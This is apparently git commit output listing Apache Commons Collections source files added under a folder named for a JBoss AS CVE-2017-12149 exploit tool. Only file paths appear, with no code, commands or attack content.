create mode 100644 "JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/bag/TypedSortedBag.java"
create mode 100644 "JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/bag/UnmodifiableBag.java"
create mode 100644 "JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/bag/UnmodifiableSortedBag.java"
create mode 100644 "JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/bag/package.html"
create mode 100644 "JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/bidimap/AbstractBidiMapDecorator.java"
create mode 100644 "JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/bidimap/AbstractDualBidiMap.java"
create mode 100644 "JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/bidimap/AbstractOrderedBidiMapDecorator.java"
create mode 100644 "JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/bidimap/AbstractSortedBidiMapDecorator.java"
create mode 100644 "JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/bidimap/DualHashBidiMap.java"
create mode 100644 "JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/bidimap/DualTreeBidiMap.java"
create mode 100644 "JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/bidimap/TreeBidiMap.java"
create mode 100644 "JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/bidimap/UnmodifiableBidiMap.java"
create mode 100644 "JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/bidimap/UnmodifiableOrderedBidiMap.java"
create mode 100644 "JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/bidimap/UnmodifiableSortedBidiMap.java"
create mode 100644 "JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/bidimap/package.html"
create mode 100644 "JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/buffer/AbstractBufferDecorator.java"
create mode 100644 "JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/buffer/BlockingBuffer.java"
create mode 100644 "JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/buffer/BoundedFifoBuffer.java"
create mode 100644 "JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/buffer/CircularFifoBuffer.java"
create mode 100644 "JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/buffer/PredicatedBuffer.java"
create mode 100644 "JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/buffer/PriorityBuffer.java"
create mode 100644 "JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/buffer/SynchronizedBuffer.java"
create mode 100644 "JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/buffer/TransformedBuffer.java"
create mode 100644 "JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/buffer/TypedBuffer.java"
create mode 100644 "JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/buffer/UnboundedFifoBuffer.java"
create mode 100644 "JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/buffer/UnmodifiableBuffer.java"
create mode 100644 "JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/buffer/package.html"
create mode 100644 "JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/collection/AbstractCollectionDecorator.java"
create mode 100644 "JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/collection/AbstractSerializableCollectionDecorator.java"
create mode 100644 "JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/collection/CompositeCollection.java"
create mode 100644 "JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/collection/PredicatedCollection.java"
create mode 100644 "JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/collection/SynchronizedCollection.java"
create mode 100644 "JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/collection/TransformedCollection.java"
create mode 100644 "JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/collection/TypedCollection.java"
create mode 100644 "JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/collection/UnmodifiableBoundedCollection.java"
create mode 100644 "JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/collection/UnmodifiableCollection.java"
create mode 100644 "JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/collection/package.html"
create mode 100644 "JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/comparators/BooleanComparator.java"
create mode 100644 "JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/comparators/ComparableComparator.java"
create mode 100644 "JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/comparators/ComparatorChain.java"
create mode 100644 "JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/comparators/FixedOrderComparator.java"
create mode 100644 "JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/comparators/NullComparator.java"
create mode 100644 "JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/comparators/ReverseComparator.java"
create mode 100644 "JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/comparators/TransformingComparator.java"
create mode 100644 "JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/comparators/package.html"
create mode 100644 "JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/functors/AllPredicate.java"
create mode 100644 "JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/functors/AndPredicate.java"
create mode 100644 "JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/functors/AnyPredicate.java"
create mode 100644 "JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/functors/ChainedClosure.java"
create mode 100644 "JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/functors/ChainedTransformer.java"
create mode 100644 "JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/functors/CloneTransformer.java"
create mode 100644 "JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/functors/ClosureTransformer.java"
create mode 100644 "JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/functors/ConstantFactory.java"
create mode 100644 "JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/functors/ConstantTransformer.java"
create mode 100644 "JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/functors/EqualPredicate.java"
create mode 100644 "JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/functors/ExceptionClosure.java"
create mode 100644 "JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/functors/ExceptionFactory.java"
create mode 100644 "JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/functors/ExceptionPredicate.java"
create mode 100644 "JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/functors/ExceptionTransformer.java"
create mode 100644 "JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/functors/FactoryTransformer.java"
create mode 100644 "JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/functors/FalsePredicate.java"
create mode 100644 "JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/functors/ForClosure.java"
create mode 100644 "JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/functors/FunctorUtils.java"
create mode 100644 "JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/functors/IdentityPredicate.java"
create mode 100644 "JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/functors/IfClosure.java"
create mode 100644 "JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/functors/InstanceofPredicate.java"
create mode 100644 "JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/functors/InstantiateFactory.java"
create mode 100644 "JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/functors/InstantiateTransformer.java"
create mode 100644 "JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/functors/InvokerTransformer.java"
create mode 100644 "JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/functors/MapTransformer.java"
create mode 100644 "JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/functors/NOPClosure.java"
create mode 100644 "JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/functors/NOPTransformer.java"
create mode 100644 "JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/functors/NonePredicate.java"
create mode 100644 "JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/functors/NotNullPredicate.java"
create mode 100644 "JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/functors/NotPredicate.java"
create mode 100644 "JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/functors/NullIsExceptionPredicate.java"
create mode 100644 "JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/functors/NullIsFalsePredicate.java"
create mode 100644 "JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/functors/NullIsTruePredicate.java"
create mode 100644 "JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/functors/NullPredicate.java"
create mode 100644 "JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/functors/OnePredicate.java"
create mode 100644 "JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/functors/OrPredicate.java"
create mode 100644 "JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/functors/PredicateDecorator.java"
create mode 100644 "JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/functors/PredicateTransformer.java"
create mode 100644 "JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/functors/PrototypeFactory.java"
create mode 100644 "JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/functors/StringValueTransformer.java"
create mode 100644 "JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/functors/SwitchClosure.java"
create mode 100644 "JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/functors/SwitchTransformer.java"
create mode 100644 "JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/functors/TransformedPredicate.java"
create mode 100644 "JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/functors/TransformerClosure.java"
create mode 100644 "JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/functors/TransformerPredicate.java"
create mode 100644 "JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/functors/TruePredicate.java"
create mode 100644 "JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/functors/UniquePredicate.java"
create mode 100644 "JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/functors/WhileClosure.java"
create mode 100644 "JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/functors/package.html"
create mode 100644 "JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/iterators/AbstractEmptyIterator.java"
create mode 100644 "JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/iterators/AbstractIteratorDecorator.java"
create mode 100644 "JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/iterators/AbstractListIteratorDecorator.java"
create mode 100644 "JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/iterators/AbstractMapIteratorDecorator.java"
create mode 100644 "JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/iterators/AbstractOrderedMapIteratorDecorator.java"
create mode 100644 "JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/iterators/ArrayIterator.java"
create mode 100644 "JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/iterators/ArrayListIterator.java"
create mode 100644 "JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/iterators/CollatingIterator.java"
create mode 100644 "JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/iterators/EmptyIterator.java"
create mode 100644 "JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/iterators/EmptyListIterator.java"
create mode 100644 "JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/iterators/EmptyMapIterator.java"
create mode 100644 "JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/iterators/EmptyOrderedIterator.java"
create mode 100644 "JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/iterators/EmptyOrderedMapIterator.java"
create mode 100644 "JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/iterators/EntrySetMapIterator.java"
create mode 100644 "JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/iterators/EnumerationIterator.java"
create mode 100644 "JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/iterators/FilterIterator.java"
create mode 100644 "JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/iterators/FilterListIterator.java"
create mode 100644 "JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/iterators/IteratorChain.java"
create mode 100644 "JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/iterators/IteratorEnumeration.java"
create mode 100644 "JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/iterators/ListIteratorWrapper.java"
create mode 100644 "JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/iterators/LoopingIterator.java"
create mode 100644 "JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/iterators/ObjectArrayIterator.java"
create mode 100644 "JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/iterators/ObjectArrayListIterator.java"
create mode 100644 "JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/iterators/ObjectGraphIterator.java"
create mode 100644 "JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/iterators/ProxyIterator.java"
create mode 100644 "JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/iterators/ProxyListIterator.java"
create mode 100644 "JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/iterators/SingletonIterator.java"
create mode 100644 "JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/iterators/SingletonListIterator.java"
create mode 100644 "JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/iterators/TransformIterator.java"
create mode 100644 "JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/iterators/UniqueFilterIterator.java"
create mode 100644 "JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/iterators/UnmodifiableIterator.java"
create mode 100644 "JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/iterators/UnmodifiableListIterator.java"
create mode 100644 "JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/iterators/UnmodifiableMapIterator.java"
create mode 100644 "JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/iterators/UnmodifiableOrderedMapIterator.java"
create mode 100644 "JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/iterators/package.html"
create mode 100644 "JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/keyvalue/AbstractKeyValue.java"
create mode 100644 "JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/keyvalue/AbstractMapEntry.java"
create mode 100644 "JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/keyvalue/AbstractMapEntryDecorator.java"
create mode 100644 "JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/keyvalue/DefaultKeyValue.java"
create mode 100644 "JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/keyvalue/DefaultMapEntry.java"
create mode 100644 "JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/keyvalue/MultiKey.java"
create mode 100644 "JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/keyvalue/TiedMapEntry.java"
create mode 100644 "JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/keyvalue/UnmodifiableMapEntry.java"
create mode 100644 "JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/keyvalue/package.html"
create mode 100644 "JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/list/AbstractLinkedList.java"
create mode 100644 "JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/list/AbstractListDecorator.java"
create mode 100644 "JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/list/AbstractSerializableListDecorator.java"
